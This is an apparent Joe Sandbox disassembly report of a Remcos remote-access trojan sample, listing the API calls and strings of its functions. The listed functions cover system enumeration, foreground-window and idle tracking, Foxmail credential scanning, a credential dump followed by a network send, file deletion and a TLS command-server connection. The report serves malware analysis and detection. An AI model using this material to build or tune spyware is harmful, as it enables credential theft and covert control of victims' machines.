Iphlpapi, xrefs: 1234CCC1, 1234CCCB, 1234CCD6
NtResumeProcess, xrefs: 1234CCAC
RmStartSession, xrefs: 1234CD09
GetFinalPathNameByHandleW, xrefs: 1234CCF5
GetExtendedTcpTable, xrefs: 1234CCBC
SetProcessDpiAwareness, xrefs: 1234CB8F, 1234CB94, 1234CBA8
Rstrtmgr, xrefs: 1234CD0E, 1234CD18, 1234CD23, 1234CD33, 1234CD43
GetMonitorInfoW, xrefs: 1234CC4F
RmRegisterResources, xrefs: 1234CD1E
RmEndSession, xrefs: 1234CD3E
GetSystemTimes, xrefs: 1234CC63
user32, xrefs: 1234CBA9, 1234CC2C, 1234CC40, 1234CC54
EnumDisplayDevicesW, xrefs: 1234CC27
Shlwapi, xrefs: 1234CC79
Psapi, xrefs: 1234CB60
kernel32, xrefs: 1234CBCD, 1234CBDC, 1234CBF0, 1234CC18, 1234CC68, 1234CC8D, 1234CCFA
IsUserAnAdmin, xrefs: 1234CBFF
Shell32, xrefs: 1234CC04
SetProcessDEPPolicy, xrefs: 1234CC13
NtQueryInformationProcess, xrefs: 1234CCE1
GetExtendedUdpTable, xrefs: 1234CCD1
GetProcessImageFileNameW, xrefs: 1234CB5A, 1234CB5F, 1234CB7F
RmGetList, xrefs: 1234CD2E
GlobalMemoryStatusEx, xrefs: 1234CBC8
NtSuspendProcess, xrefs: 1234CC9C
shcore, xrefs: 1234CB95
EnumDisplayMonitors, xrefs: 1234CC3B
IsWow64Process, xrefs: 1234CBD7

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$HandleModule
String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
API String ID: 4236061018-3687161714
Opcode ID: 4baaf5c3e7387ac0a81ed403d25744b597e15e9d773a65eee2ef65b5a2fe4c9f
Instruction ID: 7456489cc43484c5d3ec09f90c01bb797c769d8619827c0c59b8df52cfa4e2c2
Opcode Fuzzy Hash: 4baaf5c3e7387ac0a81ed403d25744b597e15e9d773a65eee2ef65b5a2fe4c9f
Instruction Fuzzy Hash: C3415BF6CC136C7AEE106BBA4C88D9B3F5CD98A3953428C27E149E7510DA389801CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 1233E9C5 Relevance: 53.3, APIs: 15, Strings: 15, Instructions: 795
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,1233E9E1), ref: 1234CB65
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CB6E
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,1233E9E1), ref: 1234CB85
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CB88
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,1233E9E1), ref: 1234CB9A
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CB9D
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,1233E9E1), ref: 1234CBAE
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CBB1
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,1233E9E1), ref: 1234CBC3
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CBC6
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,1233E9E1), ref: 1234CBD2
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CBD5
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,1233E9E1), ref: 1234CBE6
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CBE9
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,1233E9E1), ref: 1234CBFA
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CBFD
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,1233E9E1), ref: 1234CC0E
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC11
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,1233E9E1), ref: 1234CC22
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC25
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,1233E9E1), ref: 1234CC36
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC39
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,1233E9E1), ref: 1234CC4A
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC4D
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,1233E9E1), ref: 1234CC5E
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC61
Part of subcall function 1234CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,1233E9E1), ref: 1234CC72
Part of subcall function 1234CB50: GetProcAddress.KERNEL32(00000000), ref: 1234CC75
Part of subcall function 1234CB50: LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,1233E9E1), ref: 1234CC83

GetModuleFileNameW.KERNEL32(00000000,C:\Users\Public\Libraries\wkrriuhD.pif,00000104), ref: 1233E9EE

Part of subcall function 12340F37: __EH_prolog.LIBCMT ref: 12340F3C

Strings

Rmc-W5UGP5, xrefs: 1233EB05, 1233EB62
Remcos Agent initialized, xrefs: 1233EFEF
del, xrefs: 1233F2D1
license_code.txt, xrefs: 1233EA4D
Administrator, xrefs: 1233F287
licence, xrefs: 1233EF88
del, xrefs: 1233F2ED, 1233F36F
User, xrefs: 1233F28E
Exe, xrefs: 1233EB0F
Exe, xrefs: 1233EB14
C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 1233E9E6, 1233EE0F
Inj, xrefs: 1233EBD5, 1233EBEC
Access Level: , xrefs: 1233F29F
Software\, xrefs: 1233EAC3
exepath, xrefs: 1233EE92, 1233EF40

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
String ID: Access Level: $Administrator$C:\Users\Public\Libraries\wkrriuhD.pif$Exe$Exe$Inj$Remcos Agent initialized$Rmc-W5UGP5$Software\$User$del$del$exepath$licence$license_code.txt
API String ID: 2830904901-2597219987
Opcode ID: 532d45cd05ab86e21cd817842afe67e6c3263e9215f9a04fe4d1eed608f8d8a3
Instruction ID: d3542d3a77953847e0b47a20ef9dca4d4ba795965cb8dade0f268c5e83b73a44
Opcode Fuzzy Hash: 532d45cd05ab86e21cd817842afe67e6c3263e9215f9a04fe4d1eed608f8d8a3
Instruction Fuzzy Hash: 34321B6BB543402FDABBA7709C65B7E26E94FC1B42F90092DE482DB1C0DE65AF01C761

Uniqueness

Uniqueness Score: -1.00%

Function 12344F2A Relevance: 35.8, APIs: 5, Strings: 15, Instructions: 809
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000029,123A52F0,123A50E4,00000000), ref: 12344F7B
WSAGetLastError.WS2_32(00000000,00000001), ref: 1234518C
Sleep.KERNEL32(00000000,00000002), ref: 12345AD7

Part of subcall function 1234B4EF: GetLocalTime.KERNEL32(00000000), ref: 1234B509

Strings

4.9.4 Pro, xrefs: 123454CB
TLS Off, xrefs: 123450E5
Rmc-W5UGP5, xrefs: 1234542C
hlight, xrefs: 12345393
Exe, xrefs: 123453F5
Connecting | , xrefs: 12345108
name, xrefs: 12345366
C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 123453C0
Connected | , xrefs: 1234524E
%I64u, xrefs: 123452F6
Connection Error: , xrefs: 1234519F
Disconnected, xrefs: 12345A47
| , xrefs: 12345112, 12345253
TLS On , xrefs: 123450F3
Connection Error: Unable to create socket, xrefs: 123451EA

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Sleep$ErrorLastLocalTime
String ID: | $%I64u$4.9.4 Pro$C:\Users\Public\Libraries\wkrriuhD.pif$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$Exe$Rmc-W5UGP5$TLS Off$TLS On $hlight$name
API String ID: 524882891-2597379952
Opcode ID: 273b4899063cd84ef6acc3986f5c622b8eee39aeb6a718b29788de49df5eb436
Instruction ID: 05f54124d78cf9ab05fd714021012dd6a1a2eda3484bd20dbe95fdd5c2c57b3e
Opcode Fuzzy Hash: 273b4899063cd84ef6acc3986f5c622b8eee39aeb6a718b29788de49df5eb436
Instruction Fuzzy Hash: 65523C3BA002145BDB6AE731DC91AFEB3B59F50302F6046A9D40AA61E4EF307F49CB51

Uniqueness

Uniqueness Score: -1.00%

Function 146412EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 14641434

Part of subcall function 146410F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 14641137
Part of subcall function 146410F1: lstrcatW.KERNEL32(?,?), ref: 14641151
Part of subcall function 146410F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464115C
Part of subcall function 146410F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464116D
Part of subcall function 146410F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1464117C
Part of subcall function 146410F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 14641193
Part of subcall function 146410F1: FindNextFileW.KERNELBASE(00000000,00000010), ref: 146411D0
Part of subcall function 146410F1: FindClose.KERNEL32(00000000), ref: 146411DB

lstrlenW.KERNEL32(?), ref: 146414C5
lstrlenW.KERNEL32(?), ref: 146414E0
lstrlenW.KERNEL32(?,?), ref: 1464150F
lstrcatW.KERNEL32(00000000), ref: 14641521
lstrlenW.KERNEL32(?,?), ref: 14641547
lstrcatW.KERNEL32(00000000), ref: 14641553
lstrlenW.KERNEL32(?,?), ref: 14641579
lstrcatW.KERNEL32(00000000), ref: 14641585
lstrlenW.KERNEL32(?,?), ref: 146415AB
lstrcatW.KERNEL32(00000000), ref: 146415B7

Strings

), xrefs: 146414C7
Foxmail, xrefs: 1464143F, 14641453, 14641467, 1464147B, 1464148F, 146414A3, 146414F7, 14641527, 14641559, 1464158B, 146415BD
ProgramFiles, xrefs: 1464142F

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
String ID: )$Foxmail$ProgramFiles
API String ID: 672098462-2938083778
Opcode ID: 815d51095885201ce6321a561dd3b7f1f5faaa881f8a3e58b7ffaca124c31345
Instruction ID: 4c34dc5330490b30a1996495ec49b4bce4ed29a3a5b05c81d1c187b68eaf6484
Opcode Fuzzy Hash: 815d51095885201ce6321a561dd3b7f1f5faaa881f8a3e58b7ffaca124c31345
Instruction Fuzzy Hash: 9B81E675A00368AAEF20DBA0DC49FDF7739EF44744F140596F508EB190EAB15A84CF98

Uniqueness

Uniqueness Score: -1.00%

Function 123348C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32(FFFFFFFF,124892B8,00000010), ref: 123348E0
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 12334A00
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 12334A0E
WSAGetLastError.WS2_32 ref: 12334A21

Part of subcall function 1234B4EF: GetLocalTime.KERNEL32(00000000), ref: 1234B509

Strings

TLS Handshake... | , xrefs: 12334904
Connection Failed: , xrefs: 12334A43
TLS Error 1, xrefs: 12334937
TLS Error 2, xrefs: 12334955
TLS Error 3, xrefs: 123349D8
TLS Authentication Failed, xrefs: 12334999
Connection Refused, xrefs: 12334A76

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CreateEvent$ErrorLastLocalTimeconnect
String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
API String ID: 994465650-2151626615
Opcode ID: 090fa5f297dbacd48fc960daf6604c05599e1c2859d11396530a686f6f986cce
Instruction ID: 1df8e58442a5ea6dde0084a49e1a2fb6a8a09e629227ec4bfe55ddefe7941de7
Opcode Fuzzy Hash: 090fa5f297dbacd48fc960daf6604c05599e1c2859d11396530a686f6f986cce
Instruction Fuzzy Hash: 57418E7FB00206ABEB66777ACC4597DBB5AEB42311B804218D50347695EE21FE14C7E3

Uniqueness

Uniqueness Score: -1.00%

Function 12334E26 Relevance: 18.1, APIs: 12, Instructions: 65
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,123A4EF8,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E38
SetEvent.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E43
FindCloseChangeNotification.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E4C
closesocket.WS2_32(FFFFFFFF), ref: 12334E5A
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334E91
SetEvent.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334EA2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334EA9
SetEvent.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334EBA
CloseHandle.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334EBF
CloseHandle.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334EC4
SetEvent.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334ED1
CloseHandle.KERNEL32(00000000,?,00000000,123A4EF8,12334CA8,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334ED6

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseEvent$HandleObjectSingleWait$ChangeFindNotificationclosesocket
String ID:
API String ID: 2403171778-0
Opcode ID: 71423de7ca9d65e8dae80ce09b1e3cfa118d501f7f289f97c53619bef4bf05c8
Instruction ID: d030f1907288df46b24f68c69d121462099f90e9690cd3e0d8a8742135c6aa6c
Opcode Fuzzy Hash: 71423de7ca9d65e8dae80ce09b1e3cfa118d501f7f289f97c53619bef4bf05c8
Instruction Fuzzy Hash: C9211832050B149FDB326B26CC48B17BBE5FF40726F104B19E2E615AF0CB62B811DB54

Uniqueness

Uniqueness Score: -1.00%

Function 12342AB4 Relevance: 18.0, APIs: 9, Strings: 1, Instructions: 482
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 12342ACD

Part of subcall function 1234B978: GetCurrentProcessId.KERNEL32(00000000,771B3530,00000000,?,?,?,?,12396468,1233D20D,.vbs,?,?,?,?,?,123A52F0), ref: 1234B99F

Part of subcall function 12348568: CloseHandle.KERNEL32(123340F5,?,?,123340F5,12395E74), ref: 1234857E
Part of subcall function 12348568: CloseHandle.KERNEL32(12395E74,?,?,123340F5,12395E74), ref: 12348587

Sleep.KERNEL32(0000000A,12395E74), ref: 12342C1F
Sleep.KERNEL32(0000000A,12395E74,12395E74), ref: 12342CC1
Sleep.KERNEL32(0000000A,12395E74,12395E74,12395E74), ref: 12342D63
DeleteFileW.KERNEL32(00000000,12395E74,12395E74,12395E74), ref: 12342DC5
DeleteFileW.KERNEL32(00000000,12395E74,12395E74,12395E74), ref: 12342DFC
DeleteFileW.KERNEL32(00000000,12395E74,12395E74,12395E74), ref: 12342E38
Sleep.KERNEL32(000001F4,12395E74,12395E74,12395E74), ref: 12342E52
Sleep.KERNEL32(00000064), ref: 12342E94

Part of subcall function 12334AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 12334B36

Strings

/stext ", xrefs: 12342BAA, 12342C4C, 12342CEE

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
String ID: /stext "
API String ID: 1223786279-3856184850
Opcode ID: 33fc395927d7b7765498312fb1a5459d5a4c0cf58126db77fa67301c76948b69
Instruction ID: 95d19d956e4d6d91d0803fc14838d6b0fb97c4d00bbc69c54ca9b7c1a931987f
Opcode Fuzzy Hash: 33fc395927d7b7765498312fb1a5459d5a4c0cf58126db77fa67301c76948b69
Instruction Fuzzy Hash: BA02023A5083818BC3BADB61D890AFFB3E5AF94301F50495DD48A971A4EF347B4AC752

Uniqueness

Uniqueness Score: -1.00%

Function 1233ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_footer.LIBCMT ref: 1233AD38
Sleep.KERNEL32(000001F4), ref: 1233AD43
GetForegroundWindow.USER32 ref: 1233AD49
GetWindowTextLengthW.USER32(00000000), ref: 1233AD52
GetWindowTextW.USER32(00000000,00000000,00000000), ref: 1233AD86
Sleep.KERNEL32(000003E8), ref: 1233AE54

Part of subcall function 1233A636: SetEvent.KERNEL32(?,?,00000000,1233B20A,00000000), ref: 1233A662

Strings

minutes }, xrefs: 1233AE7A
], xrefs: 1233ADE8
{ User has been idle for , xrefs: 1233AE86
[, xrefs: 1233ADEE

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Window$SleepText$EventForegroundInit_thread_footerLength
String ID: [${ User has been idle for $ minutes }$]
API String ID: 911427763-3954389425
Opcode ID: 55813ac9ab0fcfd64e5c0a1c70216d2f10e93de2bcccfb60af696134269ce38b
Instruction ID: fbe22665588c09f28317821c47f827504adc88afa5a837aed5a8729b1d7a8b27
Opcode Fuzzy Hash: 55813ac9ab0fcfd64e5c0a1c70216d2f10e93de2bcccfb60af696134269ce38b
Instruction Fuzzy Hash: 4F51C877A043415FC766D730C894ABE77EAAF84712F400A29E496C62D4EF34EB45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1233DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 1233DB9A

Strings

SystemDrive, xrefs: 1233DA91
\system32, xrefs: 1233DAAE
ProgramData, xrefs: 1233DB5F
\SysWOW64, xrefs: 1233DB00
WinDir, xrefs: 1233DA9B, 1233DABD, 1233DB0F
ProgramFiles, xrefs: 1233DB6E
AppData, xrefs: 1233DB51
UserProfile, xrefs: 1233DB58
Temp, xrefs: 1233DA66

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
API String ID: 82841172-425784914
Opcode ID: b5afad6cede5f5ca6f4a2708436f9422b1f84038caf4aa40d1221f8534c628a1
Instruction ID: 2a5418260f76a4a4086be765c76efce63220d4f34903a1237a08d8776628ea59
Opcode Fuzzy Hash: b5afad6cede5f5ca6f4a2708436f9422b1f84038caf4aa40d1221f8534c628a1
Instruction Fuzzy Hash: 0841217B4183049AD66ADB60DD54CFEB7B8AE91352F10462EF485D2190FF20BF49CA52

Uniqueness

Uniqueness Score: -1.00%

Function 1234B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1234BFB7: GetCurrentProcess.KERNEL32(?,?,?,1233DAAA,WinDir,00000000,00000000), ref: 1234BFC8
Part of subcall function 1234BFB7: IsWow64Process.KERNEL32(00000000,?,?,1233DAAA,WinDir,00000000,00000000), ref: 1234BFCF

Part of subcall function 123435A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 123435CA
Part of subcall function 123435A6: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 123435E7
Part of subcall function 123435A6: RegCloseKey.KERNEL32(?), ref: 123435F2

StrToIntA.SHLWAPI(00000000,1239C9F8,00000000,00000000,00000000,123A50E4,00000003,Exe,00000000,0000000E,00000000,123960BC,00000003,00000000), ref: 1234B33C

Strings

(32 bit), xrefs: 1234B36F
(64 bit), xrefs: 1234B368
CurrentBuildNumber, xrefs: 1234B31D
ProductName, xrefs: 1234B2D2
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 1234B2D7, 1234B2E1, 1234B322

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64
String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 782494840-2070987746
Opcode ID: e57045c1431e235873436e7addf7125a8010e283022439724f39c92ab156a074
Instruction ID: 76abe126e73331d3f4d41a46c505921bbf84db76b8aa9c8176226fa637d69988
Opcode Fuzzy Hash: e57045c1431e235873436e7addf7125a8010e283022439724f39c92ab156a074
Instruction Fuzzy Hash: 72115977D402841AEB65A3748C95EBE7BAD8B95310FA04664E546E31D1FE10AD02C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 1233A726 Relevance: 9.2, APIs: 6, Instructions: 163sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 1233A740

Part of subcall function 1233A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,1233A74D), ref: 1233A6AB
Part of subcall function 1233A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,1233A74D), ref: 1233A6BA
Part of subcall function 1233A675: Sleep.KERNEL32(00002710,?,?,?,1233A74D), ref: 1233A6E7
Part of subcall function 1233A675: FindCloseChangeNotification.KERNEL32(00000000,?,?,?,1233A74D), ref: 1233A6EE

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 1233A77C
GetFileAttributesW.KERNEL32(00000000), ref: 1233A78D
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 1233A7A4
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 1233A81E

Part of subcall function 1234C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,1233A843), ref: 1234C49E

SetFileAttributesW.KERNEL32(00000000,00000006,00000013,12396468,?,00000000,00000000,00000000,00000000,00000000), ref: 1233A927

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$Sleep$ChangeCloseDirectoryExistsFindNotificationPathSize
String ID:
API String ID: 110482706-0
Opcode ID: b9f4c87f9667a041603b3e1d5677cd9273b81eca30ce593a6668a9902283f816
Instruction ID: 8c91335f8b69181bb213371e77e7bb55e2117847e2a2562181d45c08af6c9d57
Opcode Fuzzy Hash: b9f4c87f9667a041603b3e1d5677cd9273b81eca30ce593a6668a9902283f816
Instruction Fuzzy Hash: 7C51617B6043045FCBA7EB70C864ABE77A95F81316F404A1DE492972D0DF25AB0AC752

Uniqueness

Uniqueness Score: -1.00%

Function 1464C7E6 Relevance: 9.1, APIs: 6, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(1464C7DD), ref: 1464C7E6
GetModuleHandleA.KERNEL32(?,1464C7DD), ref: 1464C838
GetProcAddress.KERNEL32(00000000,00000000), ref: 1464C860

Part of subcall function 1464C803: GetProcAddress.KERNEL32(00000000,1464C7F4), ref: 1464C804
